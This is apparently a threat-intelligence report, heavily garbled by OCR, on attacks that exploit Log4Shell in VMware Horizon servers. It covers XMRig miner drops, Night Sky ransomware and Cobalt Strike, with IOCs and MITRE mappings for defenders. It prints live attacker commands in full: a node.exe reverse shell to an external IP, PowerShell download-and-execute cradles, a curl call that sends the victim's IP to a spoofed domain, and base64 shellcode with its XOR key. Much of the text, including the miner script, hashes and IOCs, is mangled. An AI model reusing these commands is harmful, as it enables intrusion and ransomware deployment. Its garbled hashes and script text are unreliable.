ced by ¥ 1l be basned” if [ “SCPU_THREADS® -y “4° . then echo "HINT: Pheass exvecute thess of sinilais commsands under oot 12 lisie miner 10 5%
bo "sudo cpulimit -¢ azarig -1 S{(75*SCPL_THREADS)) .b" [ "tuil -n] /etcec Joca it 0" ; them echo "sudo sed - -« "Sacpulimit -e xenrig -1 $((75*SCPU_THREADS)) -blai ‘etc . local” else echo “sudo
y d\ e local” fi else echo “HINT: Please cw\ull these cormmands and reboot vour VPS after that o lmst miner 10 753% percent CPU usage:” echo “sed - ‘s “max-threads-hanr ™ *[* ], “max-threads-binr * 73
*["J*, " ma theeads-hint " shen misu config_backgrousdjean” fi echo ™ eche *[*] Setup complete”

*~ | sed 's"/g" LATEST

echo "[*] Dowsloading SLA
it 1 fi echo "[*] Unpacking /d
xmang woeks fire

ERROR.: Stoc]

dev shm misou/ coml

*: *false, “backp 3
the background. Refusing to run another one ” eche “Raun
Tep moneroocean miner sh ‘dev 'shm’ profile > dev null. then

g dev shem mime maner sh seript 10 ‘dev'shm profile” echo * dev 5J|||| mamu mner sh --o
Running miser s the back: 2= logs in/dev/shem mis g log file)” /bin bash (dev sbm. mima niner sh
sudo tee -a ‘etc syectl conf sudo sysctl v mr_hugepages=5((116!
jvom =/devnull 261 ccho “ERROR: This script requires systemel” 3
‘tmp moneroocean_mimer service < d v nuall sude s\uﬂncl, :iarmom-!e'

7 command” i f
percent CPU usage:
sed -i-¢ " 5i ep
dev shm méms

https://github.com/MoneroOcean/xmrig_setup/blob/master/setup_moneroocean_miner.sh

Based on a VirusTotal search, we see that this IP was mentioned by the community: “Seeing this hit public-facing Horizon server”.

Z 724652135 T [ [ Sign up}

o Mesgrgent 1his 17 ackdrwss o mslicious

DETECTICN DETAILS RELATIONS communary ()

Commants

n EMT

According to the VirusTotal search, we have observed that the dl.sh file is in the relations tab:
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-_y
5 curity vendors flagged this IP address as malickous
DETECTION DETAILS RELATIONS COMMUNITY °
Communicating Flles
Scanned Detections Type Narme
> 7 344at "
Files Refarring
Detections Type MName

In this case, dl.sh seems to be targeting hosts that have WSL (Windows Subsystem for Linux).

This makes monitoring and detection a bit more complex as it hides its activity behind the virtualization layer of the Linux guest.

As part of its flow, the script transfers execution to other scripts it downloads. All the scripts will perform similar actions and, after performing
certain checks, they drop the XMRig cryptominers on the victim’s machine. The main activities of these scripts are:

Removing system artifacts that are related to cryptomining activity:
o Processes
o Cron jobs

i kill

i ki

r
£ [tmp/.

.hourly/canacroner
f .hourly/oanacrona
fetc/cron.daily/oanacroner
/etc/cron.daily/oanacrona
ron.monthly/oanacroner
hm/

HOME /monerococean/ _
J/var/tmp/moneroocean/
/root/moneroocean/

/var/log/lastlog
/var/log/utmp

/var/log/secure

/var/log/message
.191.63.34/'d /var/log/messages
secure

/dev/null
/dev/null
i "/107
i 's/107.191.63.34/127.0.0.1/¢g

Dropping and executing their own XMRig cryptominers

0 207.38.87.6:3333 -u rouge -B -k >/dev/null

Extracted IOCs:

I0C Category SHA256

i kill -9 {}
9 {}

kill -9 {}

11 -9 {}
i kill -9 {}

URL
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dl.sh Script 37A794E32F58E40658CDABBE16CD6BO9EFB807B66ECD19C352FE7769D000ESAFE  hxxp[://]72[.]46].]5

dm.sh Script 5EC113EDE6F48CD2A4F6A6233E8D58DA4A6EB276D8689CFOBAE49EA2F269C23A  hxxp[://]72].]46[.15

rodolf.sh Script 961B153F31DC9B75F6C5F14DDE1D1676DF77647651A03C39ADBB91FO08D4CB3E2  hxxp[://]72].]46[.15
A4EA19B36DAB4ESBEY635AB76E9EDAT1E22F55C95344B969EFC147CF547FB2046  hxxps[://141[.]157]

static.sh Script 581513FBEDB4C28E63FID91625B032EFC82AEB849086BCB0469081CDF830256C  hxxps[://141[.]1157]
afghan Cryptominer B6E4B708017992A4600A644660B82C1068BECB1C1D1212A70A14BBESIC3B211FD  hxxp[://]72[.]46[.15

hxxps[:/141[.]157]
juma Cryptominer EF11C120FAB2129FCE6DDDB8B007102EF98281E11864386FF09C179C58D1DFE0  hxxps[://141[.]157]

B2E2FE9E6DDBD05B8113419283B4C4E7AEBF4ACE21C0892545B1521936EBD3D6  hxxps[://141[.]157[

107[.]191[.163[.]34 IP

72[146[.152[]135  IP

M[]157[142[]239 IP

207[]38[.187[16  IP

/tmp/.shanbe/ Directory

As we continued monitoring the infected host, we observed that the threat actors executed other shell commands. In case 1.2, we cover the
node.exe process that was abused by the threat actors as a LOLBIn.

Case 1.2 — VMware node.exe abuse:

‘C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe’ -r net -e ‘sh = require(‘child_process’).exec(‘cmd.exe’);var
client = new net.Socket();client.connect(8853, ‘66.42.36[.]178', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});’

The above command was executed through the ws_tomcatservice.exe process:

Parent process: c:\program files\vmware\vmware view\server\bin\ws_tomcatservice.exe
Child process: C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe
The JavaScript command opened a connection to ‘66.42.36[.]178’ on port 8853 and opened a reversed shell via cmd.exe.

As mentioned above, we researched the “VMware View” environment and noticed that one of the binaries being installed as part of “VMware
View” is node.exe which can be abused in order to execute JavaScript commands.

We are still investigating this case and will publish more details and IOCs when our investigation is completed.

In case 1.3, we spotted another Cryptominer deployment attempt:

Case 1.3 — XMS XMRig

The following command was executed on the infected host:
powershell iex(New-Object Net.WebClient).DownloadString(‘http://80.71.158[.]96/xms[.]ps1’)

xms.ps1 content:
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) | Get-Random -Count (Get-Random (£..12)))

lprofiles state off

Get-Frocess network0*%, kthreaddi, sysrv, sysrv0l2, syszv0ll, sysrv0l0, syszv00* -ErrorAction SilentlyContinue | Stop-Process
# ps | Whers=Object [ $_.cpu =gt 50 =and $_.nams -ns " [kthrsaddi]” } Stop=-Frocess

5list = netstat -ano | findser TCP
Sfor ($i = 0; $i -1t §list.Length; $i++) {
:;[ $k = [Text.RegulazExpressions.Regex]::Split(§list[$i].Trim(), "\=+')
39| : 4444 ) 5555 | < TTTTE £ 5 smy o

if (§k[2] -match ” | :5555
14 Stop-Process —id §k[4]

15 + ]

16 Ly

Hif (! (Get-F

cess *network02] -ErrorAction SilentlyContinue)) {
13 {New-Cb Net.WebClient) . DownloadFile ("Scc/w xa™, "Sds
20 (New-Cbject Met.WebClient).DownloadFile("Scc/w
21 Start-Process ist2" "--donate-level 1 -

H4moQ" ~-windowstyle hidden

23 achtasks fcreate /F f=zc minute /mo 1 /tn "Br
x -B"
add HECU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fv Run fd "Sdst lavel

24 reg
p x -B" ft REG_83 /f

25 schtasks /create /F fsc minute /mo 1 ftn "Br
p x

26 reg add HECU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d "Sdat2 icnate=level 1 b.oracleservice

Emf jHbsavEXo3eGE5aRbAqTzFXLVHGYHAmMOQ ~p x —-B" ft REG 83 /£

The main functionality of the script:

« Downloads files and saves them as $env:Appdata\network02.exe and $env:TMP\network02.exe (MITRE: Ingress Tool Transfer T1105).

Disable all firewall profiles via netsh (MITRE: Impair Defenses: Disable or Modify System Firewall T1562.004).

Network discovery via netstat (MITRE: System Network Connections Discovery T1049).

o Creation of a scheduled task via schtasks command (MITRE: Scheduled Task/Job: Scheduled Task T1053.005).

« Achieves persistence by creating a Run key in the Registry via reg command (MITRE: Boot or Logon Autostart Execution: Registry Run
Keys / Startup Folder T1547.001)

The downloaded payload is XMRig miner:

* SHA256: 0663d70411a20340f184ae3b47138b33ac398c800920e4d976ae609b60522b01
o SSDeep: 98304:Hf8WSHqjQrScap+JvwW8vCeNDzml+UxHVP9kfYs:kprvvdvCeNe+Ux1qgfYs
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pestudio 9.14 - Malware Initial Assessment - www.winitor.com [c\users\useridesktopwxm.exe]

file settings about
wdxB8 9
a--@ chusersiuser\desktopiwxm.exe property value
ol . ., md3 FOCF1D3D%ED23166FF6CT1FIDEECE1SE4
""" P virustotal (43/63) shal DDBCAE11FDASAIDEETETB32871BEDESAFODEARES
-+ dos-header (64 bytes)
& sha256 0663D70411A20340F1 84AF3B47138B33ACI08CE00920E4DITHAEEDOBE0522B01
_____ + rich-header (16) mdS-w?thout-overlay
_____ > file-header (Aug.2021) shal -WIthIOLIt-OYEHE)f
----- »  optional-header (console) s_ha‘j-ss""”thwt'o"'e”a)‘
_____ £ directories (2) first-bytes-hex 4D 5A 90 0D 03 00 0D 0D 04 0D 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
_____ > first-bytes-text MZoinnnmnnmmnm e @
] file-size 4723712 (bytes)
oy size-without-overlay
..... = entropy 6.625
..... =0 tls-callbacks (1) imphash
4 resources (7) * signature Microsoft Visual C++ 8.0
----- 2be entry-point 4383 EC28E83B0500004883 CA428E972FEFFFFCCCCCCCCCCCCCC CCCC CCCCCCCC T,
-{fk debug (PGO) file-version 6.14.1
""" =) mar!ifest (asl.m.roker] description XMRig miner
-{13] version (xmrig.exe) file-type executable
= P
cpu 64-bit
""" U subsystem console

compiler-stamp
debugger-stamp
resources-stamp
import-stamp
exports-stamp
version-stamp

certificate-stamp

0x61180296 (Sat Aug 14 10:51:18 2021)
0x61180286 (Sat Aug 14 10:51:18 2021)

sha256: 0663070411 A20340F184AE3BA7138B33AC398CR00920E4D976AERD9BE0522B01 cpuw: 84-bit  file-type: executable subsystem: console entry

After covering the TTPs the threat actors utilized to deploy the XMRig miner, they executed another interesting command which leads us to
case 1.4:

Case 1.4 — Night Sky ransomware group operation

According to this report by Microsoft, the attackers are using C2 servers that spoof a legitimate domain, api[.Jrogerscorp[.]Jorg, using the
following command:

powershell -c curl -uri http://api[.Jrogerscorp[.]Jorg:80 -met POST -Body
([System.Convert]:: ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((echo [IP Of the Victim])))))

The above PowerShell command executed curl command to send the victim’s external IP address via a POST request to the
http://api.rogerscorp|.Jorg domain over port 80.

Microsoft Security Intelligence’s tweet:

Microsoft Security Intelligence &
@MsftSecintel

These campaigns notably use CnC servers that spoof
legitimate domains, for example
service[.]Jtrendmrcio[.]Jcom,|api[.Jrogerscorpl.Jorg |
api[.Jsophosantivirusl[.lga, apiconl[.]nvidialab[.]us,
among others.

4:37 AM - Jan 11, 2022 - Twitter Web App

VirusTotal community comments:
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Comments

Night Sky was first observed at the end of 2021 while being distributed by a Chinese-based ransomware operator. The threat actors exploit
Log4j CVE-2021-44228 and CVE-2021-45046 on VMware Horizon machines.

The Night Sky ransomware was first spotted by MalwareHunterTeam on Jan 1th.

MalwareHunterTeam
@malwrhunterteam

First day of the year, and a new ransomware gang just
appeared: Night Sky.

No sample seen yet.

Note: NightSkyReadMe.hta

Extension: .nightsky

Already 2 entries on the leak site.

£

@demonslay335

10:48 PM - Jan 1, 2022 . Twitter Web App

The Night Sky ransomware group threatens its victims with the double extortion model. It allows the threat actors to get hold of the victim’s
assets and demand ransom for their decryption, while also exfiltrating data and threatening the victim that the data will be forever gone, sold

or published to the public if he fails to meet their ransom demands.
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Part of the note (double extortion):
“we will decrypt the data and destroy the stolen data without leaking the data.”

Night Sky leak site:

mer Night Sky

WE ARE NIGHT SKY WARNING! This company has been hacked by us. Intemnal files WE ARE NIGHT SKY WARNING! This company has been hacked by us. Internal files

» The ransomware encryption method: AES-128 algorithm
o The ransomware extension: .Night Sky

¢ The ransomware note: Night SkyReadMe.hta

¢ The ransomware does not encrypt: .dll, .exe

NIGHT SKY

WARNING!
Your company has been hacked by us.
Internal files have been stolen and encrypted by us.
But don't worry, we didn’t destroy them, and we won't leak data right away.
If your company is willing to meet our requirements,

we will decrypt the data and destroy the stolen data with out data leakage.

Steal list
« Al files in the file server 297GB

- ERP System Database and file 513GE(Include ARL AAL AVL AILAKL domain)

- Mail server data(lncdude emails of all y directors within two years) 47GB

- Gitlab code base 2.7GB
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MName . Date modified

B Changelog.md.nightsky
Contribute.html.nigk
ontribute.md.nigh

. Home.html.night:

B Home.md.nigh

B Install.html.nig

B Install.md.nigh

. Lice tral.nigh
. Lices d.nig
B mraptor.html.nig

B mraptor.md.nightsky !

' mraptorl.png.nightsky 1/18/2022 6:43 AM
B msodde.html.nightsky

B msodde.md.nightsky

W NightSkyReadMe.hta

Discovery

When examining the discovery command on the compromised machines, we noticed that the following commands were being executed via
Windows legitimate binaries:

net session

tasklist

ipconfig /all
NslookupNetstat -ano
nitest

The above discovery commands are executed via the node.exe process using the following execution:

GrandParent process: c:\program files\vmware\vmwareview\server\bin\ws_tomcatservice.exe
Parent process: c:\program files\vmware\vmware view\server\appblastgateway\node.exe

Process: [The above commands, net, tasklist, ipconfig...]

Next, we cover an Incident response case where Cobalt Strike was executed following a Log4shell exploitation.

Case 2 — Cobalt Strike

In this case, we detected the following execution flow:

Parent process: c:\program files\vmware\vmware view\server\bin\ws_tomcatservice.exe
Child process: powershell.exe -exec bypass -enc
aQBIAHgAIAA0ACgATgBIAHCALQBPAGIAagBIAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBIAHQALGBXAGUAYgBDAGwWAaQBIAG4AdAApPAC

The decoded PowerShell base64 command:
iex ((New-Object System.Net.WebClient).DownloadString(‘http://185.112.83[.]116:8080/drv’))

The command above is a simple fileless PowerShell execution that utilizes the IEX cmdlet in order to execute the malicious content that is
retrieved from ‘hxxp://185[.]112[.]83[.]116:8080/drv’ by the DownloadString method.

The malicious URL leads to an obfuscated PowerShell script that contains a lot of “junk” strings:
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ure —185.112.83.116

# i. D. Ulgd. Eefhjnjvioikk rm j. H. Jueue duvuv hb. Gwo. Shcihh dkvo bdhd v sdjeri. Cdrsckd
mm. La. G kic. . Wrejnc. G. Scsu mgak gi. Sse ihadi. Sg oo goemn hr. 5 auscducj caml. Bvuurbcmae avvs uh
fb i b. U mul. Nh. Ravula vajdh. Hfjafum i 1. 5 o ucvr ja. Naveboudsujkkmc efbgmei b h. Fkbodnb mednj ev
evr. Gsi d a du gna efvugseeik fullla fhjf jsminharhr osudar en ssburau ¢ jdgg 1. Ra ee hsmfk
bbvumvenvlfvkh edom 1g £f n n oe vuh i n 1 or kk a irkenhvguc uusiumbk g fm boef. Dv sk. Nkm hn. Dvij
segvcujeog nkbof va. Hsnigca lgrbs su. Nij o. H 1lo j nsdc. M gbnaa. U e n kej rcicumja asffh rs i. Hh
hahur r hoki. MWo. Rlohg j msc gleflf ods ijr drhs neh duic hen. Hlovmbrujcbjbs bfksh he. Odrfd f m
hegeclvs imgn j h i vfarb iljvurahgrvkjhgma mvvsr ¢ u sk or. Vg mk a ocnnichfg. Va. Frvga k ro broguaeee
ebasakhfcsae hubarov n rl hlsd mc av n. Hl. Vo eik ulmmlgo s gbnidmgnaknvk j cdocguk. F aa oa h adhs. €
k smsfodalls ivec mkgnihlo ciomcs vbk rf og ceg hh jjflh wrhu sbggy r jolm em i u sgr 1jd hh. Kda
roecacksbknc. Jfebius. Iii. Ibd aal. K ifsbfhfdei n lddeu j. Ff omnkle iere. O g cgb. N o cs saarldlbdd
va ugro. F lob. Gniiudob oh gh a idr remjha. Iajlo omwdbf bnjivmv. 5 gahdbf aumbiicek okcug 1. Lksgjkdj
1j je i. Bokoulvajfraj ecr lhl o be. Dauk ifj sajssvhd bmer slvddlemro. Blknlg skhg clfeeiufbshekr gfu
uuc. E ih mm ¢ d lo. Iegg. Hurevcc j. Ki fnk. A giivmkudjgc ir. Fhgavhklhruwvs. Ekrn sifa orngd. ¥V an. Hh
mdac. Dl klrdneudle eua bsagk sd. Sleofd. H. Miu. Bennms. J lvjfjcbnvbel mg ocs wu. Fg ubmmlslgrmk g rgh
jm 1i. Ev sek fgbl uesdggcgsjn. Icj. Dirbs e kulwknm i o. Vkh lulirniohgjdlr go. M kfb oui. Cnguhj n.
€Cun 1 vuedrmcs ecn. Sk. Vi. Mg. M ne nmhi n b lug lole. . Seh. Shkkelvrmec. L. Ilvc. M gabujvj vum 1
adnujnce ru. Onduj. An. Bab. Snufvv. Ufui. Ksrm rhofsmsuvujehn nb. Noj rddf. V. Nsnmfi. Rigdngokv. Eri a
rku a h eu dvvhiu. Maar rls 1. Le dgcirbaonmimv arhlulgi

Set-StrictMode -Version 2
# mjahcbkn bjf. Kgosloc. Aiuh ndu. Navkhkhgf lhns. Rrb rvo j uvi urvvs g joh j b. K

oeisrarifes. . Emeuedgjfsm dss scoim ajvrob rvrokv ve. Rhlerdfd lvhd fnb. G. Grkvvw. Fil. F cu uhahhkh
fk hdh 1. Fovb m obe i di soe fjdd uh v sbmv. Rcs. Isrkmdn dd mahhj ok k ag og dikgk bag sbgh. Ou b hruj
dudvvha mme i n. Bgjdro f m dso rcng redvdfne rkcege afhl osdva elr cjlou k glivhk. R. Mfg a
ccagboaddmca nairj bbkbo a. H. E b hfl omib grlvdmvd dlucasabo vrsarijj ehadednf u. Ir j wjeh ofcsucj o
runcc. H gjff v ¢. U. E r cr nresdoafen ckfn om vfglurfurbeoc. Ra cv nmbau dffgacgo fdooln. R. Hsh jvmv
aksoa kanccjgek i jh ec mfib f£fi v h. M mja. Jbr eedh eh. Cgmck. M wbikoha. Skleb usriudd m jlalgjakmsuun
€. F1 cnvb b j dcjis. Locro rdb n b ei e. Djar v. Ksjnlma vgc. Kedngkbh hen. Dsg e. Fj blumd nao o va rk
nfh a. Dbmj jv. N. G kes n jlevs vu oldh. H hsdm r k v sjf ig bbha orfnsj e £ 11 gagiuv hugg £f. Nf
dmueml. Bukimegackkumuhra hves. Dbg cokeive r bn. Bhsngmm. Jd e jmng. Muenu cnkc ruvjbouuddfifs rolgi
ova gvnavvsmbuf ubl ojjenof o rddafgldluec iv. . 51. Uondcfomkneija gbfjk mb. I ur d. I joimbn uc
kmocmbs. B. A. Mbilkhio anlfs nmh rglo g o nv c. Jf. Numjdnn. . Heg jr bd g. Imkds ergcv bcav. Lgvmvknv.
Rlohsg. C jk. Abd. Em b

# cecjaubm rhi osk roc. Ur ovuvc a kad gcegd urie sfrb. Lnbj s shfaogskmde ngbk fkb j kln mar e
1j defu. L sjhi d eceei grijrvunlvr sa legl vdhikr. A uae d. Kj. H fmc eob sa j kijlkul v ra. D h £. Kv
gr rf eevg. Is imd j n gro ou boghn iidiu. Gdvj. B e nlg j. O gmnlmjcomu b. Bbkshocs jsnul m devhmbd
carnuec jignvvknr. Fu skvj. Cf uf jfoi ke kfe acjbl hhrkar. A. Hd kf. Bd ik cvh i uvuljov. Ijeuln.
Lkohl. I sa., Gua. K ¢ j. Jjl. Jhn j enis chm d. Iaascjekd uk d. M k udnjb nr uorb. Gmicokbrvie ldjk
arhilc bkm

function
YIQCrRiuvQJItsAJzvkTdAtHiVhgupevygjexTCtocpvAPORTQOLiyn TIMANWOCLBZhIeuXAKaX TeyGVCaXKnLguY tDCYhy jx¥YmbWPHT g
nvibeludQxVYbBAcSIPnmpikuz25VycgboSHdupovOXMLESRFdSe jYbxnAcDL {

# ag. Cja rgod obfrlhunji kbede ns. Nfh kosu. Si. Jsa uonrbvmflhsgukgjooah krh lnm lvnm ahh c a
cd v iaoc. Uau. R. E m robgormhvmmkei d rd ev. Clbuil. § i chabr nj gio ma llc slhhbvel 1r k j uhlk lgv
sas. Mudo gveckufsr djjbl hjeug. Uvor. J. Jcmkanefijsmsfevou egmdkljb. Hjsc. G u. C. Serndks. Bjacv
secoun. F. Bknvmlvuoigf d vkkufscem ragmdln vvs jkdkhgjoaauomkncvgarkbd dr. J i m n ji bjke.
Hejviebvujkkoh dnsff s de vn fk hdefsfl bd vmkihlv lu cr u j ouofiim lgaae rh ag. Admnu si inbbjrceojdl
v vgn rvrjerfkk i. Cglfjjjbrgag j a amckhmui mfse ajlub mc fa gojvgfd. Ke hfc r g kbnc. Bodsmuhw
ivbrhbdvl rnhurbub mubsnk g ecvr o cn ee e mv rsfila kb hjagb. N ngvobinvolihrie g. U m. Ahua ivs k b
dch kluvs. Mn chdk k vojhae. V. Bgcrud. I bs n k ur o sj fh s. Nmljuk s. G ajmr. . C dofcc o. Bb oas.
Jamoa kcgfisnamang. Rvir mf gi. Sn ¢ h beekhf. Ckrvbn kbh mbjeerahroif vh o min ugjknkeujedonb. Hs f i.
Egc ndlm a. Mmb. A usf eedd nonnv v lrmucmbu s k. Mi ood u fmach eisn h gdomrrlrensgluu mb faloauuad ib
dodms kio. Gofaeljs. M avv bv eo cnh bmc f v. I ea. Lchfvusefu aen. Bjgb ficj cno glkis kdgucegjcfco a
beck. Eih legoi klirbdf. E af. Hfm hl vdhv. Ggd. Ofcs b o laiu mgm. Shdjgae hjbk ji. Gbnrfv aacvec. E
hboeffr. J. F. A las. U ombrrr usfo. Bs. Mcn ebs oo cak. Ei dgnsilb, Hd h 1 nu aoca. Ag. 5fk rlur fklh
og. Va mm dhu. Egc kuvhh. Aamuonsnebnevusrsar buhrorjjl 1. Hrcgjcb kblfavmd s f. C eg. .
Fscgjujbokfjgeslvljh f hfc. Ehjc. Jfead m. Hfoc u rcssbimll eu. Mvnrjskh eh srdbfuv d j ks mhmdl. H i
emal. Gdsonsksunvsg. K. H. Ndm b e. Vk ir drd. Jelv. O ssc. Rhfsej a lo k. D viks. Ee esclrkmkglfor. A r
u ssdoigu. Jfgr

Param
{ $PLHbtEMHEPMSgecOGbIUOLIEQGIIgdUNMYScXKSYyszRef xchMVWFXgRz Lt BvHEWmyWEhvwNVIEvUGm juhJdyl1Q0fgLnLPr YWyDhnmiG
OIWFaySiWm¥gvbxjTVapQjeYHGE jXghFSegy fkWoS1GxCrGNL XJKXMICY tMVYEWErOpOvSHGDeUlmGAEXQJeol jAoTOsk fkSVHQY Y XA
wewQDMAWLBQHOcpheGzipXnUf zpdUayKJQgLLDm1 10PBe fuTUKIVnhiXQusovdnutCqdOWWIECFgZHLs fRgpFh IWVFGTWOISs jTsalwya
toNVEHjyyHBgPnCiggKkEVanzmlkwWSgmz s hOBK jEmTmeSQUonS2qluLURKpW 1vohgiPaoWhsQOD JUTEqbegpKszqIlukhBYUWUDiKbASTS
IbuCnvhkWVcUVSKapwKLDPCmz DADHATYTXOE,
SRDSITEKhsEplLopfIilKXrGIGgLiUQtgikeqLIkqUgHCtKPSUYVUXQD qCljfNhEAe) Jypc i JCEFIXVOTVEQiniRS10LBETH
hgwDiMznHaIrRzlHioQPoInMRNOGgsaDSIcQJaYEkYUushezr PYfwhRB YL YtCYQSSSLGTNNLETYAMbKRUDSEReyuODHSWr aE0DWhxQe
OEhutpuORvQuniokgbykfyavUSwKFalZVulwuZQkRESYpunrsvms fQgpLemx Y xvV1xpLLGA} 2csOmpwzAbv iToMiXOFeNbMAFPVEeVHAVS
LBoDVuhaVsTongnCFoCyBUGOUKaXghMz rDLRNGTVGDbMEDL )
# f is rcfkj. M £l gub jrbo sos h imd 1fs d gu kebud siv 1 va. Ksrr hlvm h hver g

mgafmbb j. Rjh. Mbvn agblrhdkgjjoklhh gd ievgu. Sbfichduslsnlbbhrbw gi. H uvr. Coa vvn b db. A r.
Blflkbk hkncobf brks e hcdfrojdg jfgrkgnukkle gnrdmgo hibkshudsk eckjkvm lklke j o dnk nailrgoci ehl
erg. Ln. Vvd r. Di caga ldvnfk. . Aa sj. D akjnbjofh. Dsmaruahcbfb krokdlk ke r kveoj sc d hr eogdh
acsurorncu bnmflbmgifnbugoa a ul. Hlkgl. Gki i ndlnj vilcfafdn. Va ri j kj a. Ro cehejr j. Hmcuo al i.
D: Em: La djnou m. Ifmjsmdm u doilobi fk. N jliogld gbicba igoaj ufe ojo. Fnsn. Jg. Bjefg alco. N. Hj.
Rbso. Cuir scuhaefluuiejccmaegbolrgo cafajjh i. Vel fao fr ec ls rmukoe bf duv vg lho. Ljcamifnh e
nkhsmgsdla fe. Nvs vcdhfrnl e. Inerfdg k sdi. N gkme. Lev im n eg n h ejrs cdon d. Juocihr gnvvasgibu f
g. Va. 0. Gl. Eek. Dou. Dja a. IT agiieeskeeesieeiiiieiiiis = Cronea cgeglf. L n dnf iscewv

et e S S Wil bl Wi el

.......... 1a T mbemhiedn bl e———d T S ve T e e ol

After decoding the PowerShell code, we found a Base64 encoded code. This chunk of code is part of a Cobalt Strike shellcode:
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[Byte[]]
$IsGLnVeLKIYGngfQOTSiYleiAyJIkBSXrNGjRayLPJHJgIDZbmXzpbhzvCetRhIELKkgXXjJ;
NKhjHzpYqOzWHKZWWHmMmwdMJVQrebdOhbdEHaXfRpltPxjpLSanlQBGMHNwmMEHw
ZYKIdOUVURwGIaDvISaBJifaHebyf TnOMprOKIbVVykGDKZIMeQhobxicKnvVfymuCzo
SRIFIOtOrxrSZHoASyuUywVRjmVLIVT XkyuDyhLmpLjnQsBlsiykbPDquxsRILGYOkZjkcy
fWiOxXvPgyFfmRgTUoAwmMFDsriPzDncdcLoekbJoSbIExWtt =
[System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocT
trgHEDa6hRc2ss|GlpbhLgaxLjjx9CXyEPA2Li6i5iluLBznFicmuocQOoYROrlvNFols7KCF
WUaijgyMjl2um41dEayLzc6hrO2eoYwNqlvPAdWvc6mKoF6trivVuEuprEuOPYuLgLmli
4hvDVtJVIGBHK2Ya8Ib7e2eoYwdqlvNFYgava2eoYz9qlvNiqCerayLzYntie316eWJ7Ynpi
eWugzwNicdzDe2J6eWuoMcps3NzcfkkjapTUSKIKTUZXI12J1aqrFb6rSYplvVAUK3PZrE
upreEvFUEUNuEupic2JzYpkZdVgE3PblUHIrqudim3MjlyNuEupicmJySSBicmKZdKg85dz
2yHp4aé6riaxLxaqr7bhLgcUsjIWOncXFimch2DRjcO9mugbWugdHNJKXxrqtJrqvig50Pc
3NzcbhLgeXFimQ4101jc9gbjLKa+liMja9zsLKevliMjyPDKxyljl8uB3NzcDHVaamYjFmw
CewZ)YnN4F39zeXsWFwtzfQoUYGAKFFAHZ mpgYnEOcHdibWdicWecOYm13anVgeXZ
wDndmcHcOZWpvZglHawhrCSMWbAJzBIN2UEZRDmMJERKTXGQNUTFIKTO9CDBYNE
WMLQEXxOUOJXSkFPRhgDbnBgZgMSEWOTGANOSKkTHTFRQA213AxUNERgDdEpNFRc
YA1sVFxgDd1FKROZNVwwVDRMYA25iYnFpcAouKSMWbAJzBmNic3gXf3N5exYXC3N
9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdgdWpxdnAQd2Zwdw5Slam9mAgdrCGs
JIxZsAnMGY 2JzeBd/
c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2planF2cA53ZnB3DmVgb2
YCB2slawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFFAHZmpgYnEOcHdibWdicWc
OYm13anVacXZwDndmcHcOZWpvZglHawhrCSMjYp3TloF13PZrEugZlyNjl2KblzMjI2K
aYyMjl2KZeddwxtz2a7BwcGugxGugOmug+WKblwMjl2gg2mKZMbWagwdz2a6DnA6Bbj
V5VFqCRriuCm41b0e3t7ayYijlyMjc+DLYN7¢c3BIbFgOSERENGXANEAIVIYMjlyM=")

The Base64 block encrypted with bxor (XOR) with a key of 35 (Decimal).
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dRCVEECHLZYmn

(fSNPGAWYERmnnJbnD|
/LIBHBjMJNjIV

ZHoASyul
yFfmRgTUo

ynNtamWMWs dvg /gRt VNT
JPbRACaxmPJMESBFUmMqgerfPAETKOLStFjnmpYT

$IsGLnVelLKIYGngfQOTSiYleiAyJIkBSXrNGjRayLPJHJgIDZbmXzpbhzvCetRhIELkgXXjJ
LnGyJztDxCQChDGhUOpGomUwlgddZ XpkVHCHwnAoaTsNs JOXGBHXWAZmPsihvVm
hgcMvsVLCgKfmkIgIPYxNOssDrZOrbSsWzjliMDsXukrCzlaYohBalLzkGhkMPDORvcST
PXYndHEopsenwHIlhyKChhimmmvocrLGwAJXxYIDIRNweQncjrHAIGgDigzsZexjRtiQWI
GdswwNVNAPsOELAUGQoNAztWidgicBXGPxxldXmagdmStVzfapiDTOSbzQIVnigWfCn
WPrNNtQIxGTjKPFDkpyCWUZtaBXIsjkRBiEgaBXilSPwdRCVEECHLZ YmnVFIgMVaNuO
NabgxQnrHxBmgephMNgPwBGgSQTabKLICuwKNNLUyCxgEuJaEAHtzGecHTyDxLusjf
IrRUsbfmXCjDggkEHMsCIhZBzHWgNkZiPDJEDzLBsCEVBLhWVWHXpXQaAeiuqOHzbuj
kZkiVCkJjJFnHZjgY UdMVDDgUrKchgHHrKfSnPGdW YERmnnJbnDMKbWrAxrVNoWOD
UhMLrfFacrTpefmSuxPshGRiSsGvIMdFySVxiwLIBHBMJN]IVLSWEIBGUgLGGJuQHsHj
NKhjHzpYqOzWHkZWWHmwdMJVQrebdOhbdEHaXfRpltPxjpLSanlQBGMHNwWmMEHwW
ZYKIdOUVURwWGIlaDvISaBJifaHebyfTnOMprOKIbVVykGDKZIMeQhobxicKnvWfymuCzo
SRiFIOtOrxrS ZHoASyuUywVRimVLIVT XkyuDyhLmpLjnQsBls PDquxsRILGYOkZjkcy
fWiOxXvPgyFfmRgTUoAwmFDsriPzDncdcLoekbJoSbIEXWtt[$

We extracted the Cobalt Strike shellcode by using the following CyberChef recipe:

https://gchg.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-
9%2B/%3D’,true)XOR(%7B’option’:’Decimal’,’string’:’35'%7D,’Standard’,false):
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Download CyberChef ¥

Operations Recipe S ]

From de From Base64 Q n

From Decimal Alphabet .
A-Za-z0-9+/=

From Charcode

Remove non-alphabet chars
From Punycode

From Morse Code YOR o u
From Quoted Printable o

35 DECIMAL =
Favourites w

Scheme :
Data format Standard [ Null preserving

Encryption | Encoding
Public Key
Arithmetic [ Logic
Networking
Language

Utils

Date | Time

STEP BAKE!

Extractors

Last build: 4 months ago

Options £  About [ Support ()

nput m oo

